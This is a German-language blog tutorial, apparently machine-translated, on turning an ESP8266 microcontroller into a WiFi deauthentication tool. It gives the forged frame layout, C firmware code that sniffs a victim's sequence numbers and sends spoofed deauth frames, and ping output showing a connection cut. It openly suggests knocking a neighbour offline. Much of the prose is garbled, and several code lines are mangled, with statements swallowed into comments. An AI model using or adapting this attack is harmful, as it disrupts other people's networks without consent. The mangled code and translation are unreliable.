Promiscuous-Modus im Mikrocontroller ESP-8266

Ich denke, viele würden zustimmen, dass ESP-8266 eine großartige Erfindung für Heimwerker und das Internet der Dinge ist. Eine Art WLAN-Sensor, der an ein Arduino angeschlossen oder sogar anstelle eines Arduino verwendet werden kann, um in der Regel Wetterdaten an den Server zu senden. Es gibt viele verschiedene Firmware können Sie dies tun: aus dem Bestand Start des Modems in Verbindung mit dem Arduino, NodeMCU für Adepten LUA, und endend mit mehreren Webservern, voll bedient ESP ( Beispiel ).

Bild

Nach Erhalt eines Miniatur-Mikrocontrollers aus China möchten Sie in der Regel keine eigene Firmware schreiben und verwenden eine der vorhandenen. Dafür gibt es zwei Gründe: Was auch immer Sie denken, es wurde bereits implementiert.und Sie möchten wahrscheinlich nicht mit dem chinesischen SDK mit großzügig verzierten Krücken und nicht dokumentierten Funktionen umgehen. Lassen Sie sich nicht durch das ansprechende Design der Website verwechseln : Das Schreiben von Firmware für ESP ist schmerzhaft. Wenn dich das nicht erschreckt, dann willkommen. Der Artikel richtet sich an einen Arduynshchik mit minimaler Erfahrung in der Arbeit mit ESP: Sie wissen bereits , wie Sie Firmware zusammenstellen und in einen Mikrocontroller schreiben.

Wie Sie dem Header entnehmen können, arbeiten wir bei ESP, soweit möglich, direkt mit dem 802.11-Stack. Promiscuous-Modus bei ESP - die Fähigkeit, "fremde" Datenpakete aus der Luft zu senden und zu empfangen. Es gibt nicht so viele Anwendungen: statistische Analyse (Erfassung aller Arten von Daten, z. B. Arbeitslast in Abhängigkeit von der Häufigkeit), Netzwerkdurchdringung und Rissbildung. Im letzteren Fall ist der typische Zeitvertreib eines Skriptkiddies die Deauthentifizierung (Unterbrechung) eines Nachbarn von seinem WLAN-Router, während er Dota / Panzer spielt. Normalerweise installiert der helle Kopf dazu Kali Linux und verwendet den luftgefüllten Satz von Skripten. Wir verwenden jedoch einen Miniaturcontroller.
Warum?
Во имя сатаны, конечно.


Dazu benötigen wir neben der Hardware eine API (ich habe die ESP8266-API-Referenz für Nicht-OS-SDKs verwendet , der Link kann sehr bald brechen) und ein wunderbares Projekt esp-open-sdk , das den Großteil des Builds für Sie erledigt . Ein (aus ethischen Gründen) halbfertiges Projekt, das auf den Ergebnissen dieser Notiz basiert, ist auf github zu finden .

So schön. Wer weiß nicht - abbrechenIhre WiFi-Verbindung kann mit ein paar Dutzend Byte Daten, die in der Nähe gesendet werden, hergestellt werden. Die Verschlüsselung spart nicht aus rein konzeptionellen Gründen: deauth wird für die Fälle bereitgestellt, in denen die Verbindung schlecht ist und Pakete verloren gehen. Dementsprechend ist ein wirksamer Mechanismus erforderlich, um dem Kunden zu sagen, "ich bin müde von allem" und die Verbindung von vorne beginnen. Und hier ist es nicht zu verschlüsseln. In unserem Fall geben wir vor, dass der Zugangspunkt nicht bestehen konnte, und in seinem Namen senden wir einen Brief an einen zufriedenen Kunden. Die Paketstruktur sieht wie folgt aus:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]


Wissbegierige werden finden, was magische Konstanten bedeuten, aber ich werde die Variablen kurz beschreiben:

  • zwei_random_bytes werden vom Mikrocontroller überschrieben;
  • client_MAC_address 6 Bytes der physischen MAC-Adresse des Clientgeräts ;
  • ap_MAC_address 6 Bytes der physikalischen MAC-Adresse des Server-Geräts (Router, Zugangspunkt);
  • seq_N_lo, hi low und high Bytes von seq_n, die mit 16 multiplizierte Sequenznummer des Pakets (die untersten 4 Bits sind für die Möglichkeit reserviert, das gleiche Paket erneut zu senden)


So

Schritt 1: Übersetzen Sie ESP in den Stationsmodus

Nach unauffälligen Kommentaren chinesischer Freunde ist es einfach notwendig (ohne Erklärung).

void ICACHE_FLASH_ATTR
user_init(){
    uart_init(115200, 115200);
    os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
    // Promiscuous works only with station mode
    wifi_set_opmode(STATION_MODE);
    // Set timer for deauth
    os_timer_disarm(&deauth_timer);
    os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
    os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
    // Continue to 'sniffer_system_init_done'
    system_init_done_cb(sniffer_system_init_done);
}


Unter anderem legen wir die E / A-Geschwindigkeit der seriellen Schnittstelle offen, um Debugging-Nachrichten zu lesen. Mit dem eingebauten Timer rufen Sie die DEeauth-Methode alle DEAUTH_INTERVAL-Millisekunden auf und ermöglichen es ESP, vor der zweiten Initialisierungsstufe zu rauschen.

Warum
К сожалению, user-defined логика может обрабатываться ESP только ограниченно число тактов за раз, поскольку WiFi пакеты из эфира ждать не будут, а памяти у микроконтроллера немного. Если вы переборщите с while(1) то встроенный watchdog перезагрузит микроконтроллер.


Schritt 2: ESP in den Promiscuous-Modus versetzen

Dazu definieren wir die zuvor verwendete Funktion sniffer_system_init_done.
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void){
    // Set up promiscuous callback
    wifi_set_channel(channel);
    wifi_promiscuous_enable(0);
    wifi_set_promiscuous_rx_cb(promisc_cb);
    wifi_promiscuous_enable(1);
}

Hier stellen wir das WLAN-Band (Datenempfangs- / Übertragungskanal, siehe Anweisungen für Ihr Land) ein, schreiben den Rückruf für den Empfang von promisc_cb-Paketen auf und starten den Promiscuous-Modus. Warum brauchen wir diesen Rückruf?

Schritt 3: Pakete schnuppern

Einer der deauth-Parameter eines Pakets, seq_n, impliziert, dass wir vorherige Pakete erhalten haben und die Sequenznummer des nächsten Pakets kennen. Dazu müssen wir die Verbindung einer anderen Person abhören und dieses seq_n aufzeichnen.

staticvoid ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len){
    if (len == 12){
        structRxControl *sniffer = (structRxControl*) buf;
    } elseif (len == 128) {
        struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
    } else {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        int i=0;
        // Check MACsfor (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
        for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
        // Update sequence number
        seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
    }
}


Die Kaskade von ifs ist mit einer Vielzahl von 802.11-Standards an schwarze Magie gebunden . Natürlich unterstützt ESP nur die notwendigsten Geräte und arbeitet beispielsweise nicht mit einer Frequenz von 5 GHz. Beschreibungen aller Strukturen finden Sie in der Dokumentation und in Beispielen. Wir benötigen eine kleine: das Feld mit dem Daten-Sniffer-> buf. Wir prüfen, ob das Paket vom Zugriffspunkt kam und zu unserem Opfer ging, und wenn ja, schreiben Sie 2 Byte von seq_n. Übrigens haben die Pakete in entgegengesetzter Richtung eine eigene Nummerierung.

Schritt 4: Senden

Fall für ein paar - senden Sie das Paket.

uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
    int i=0;
    // Type: deauth
    buf[0] = 0xC0;
    buf[1] = 0x00;
    // Duration 0 msec, will be re-written by ESP
    buf[2] = 0x00;
    buf[3] = 0x00;
    // Destinationfor (i=0; i<6; i++) buf[i+4] = client[i];
    // Senderfor (i=0; i<6; i++) buf[i+10] = ap[i];
    for (i=0; i<6; i++) buf[i+16] = ap[i];
    // Seq_n
    buf[22] = seq % 0xFF;
    buf[23] = seq / 0xFF;
    // Deauth reason
    buf[24] = 1;
    buf[25] = 0;
    return26;
}
/* Sends deauth packets. */voiddeauth(void *arg){
    os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
    // Sequence number is increased by 16, see 802.11uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    wifi_send_pkt_freedom(packet_buffer, size, 0);
}


Die erste Funktion schreibt die erforderlichen Daten in den Puffer, die zweite sendet sie.

Schritt 5: überprüfen

Um die Leistung zu überprüfen, habe ich meinen eigenen Computer verwendet.
Die Ergebnisse sprechen für sich
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms



Zur objektiven Analyse können Sie Wireshark verwenden:



Das Paket ist genau in der Form sichtbar, in der wir es gesendet haben.

Funktioniert das wirklich? Nein. In den aktuellen Versionen des SDK ist das Problem behoben. Broadcast-Pakete können gesendet werden, jedoch nicht mehr. Das alte SDK wurde jedoch liebevoll beibehalten und ist als Teil des GitHub- Beispiels verfügbar . Mit Vorsicht verwenden.

Jetzt auch beliebt: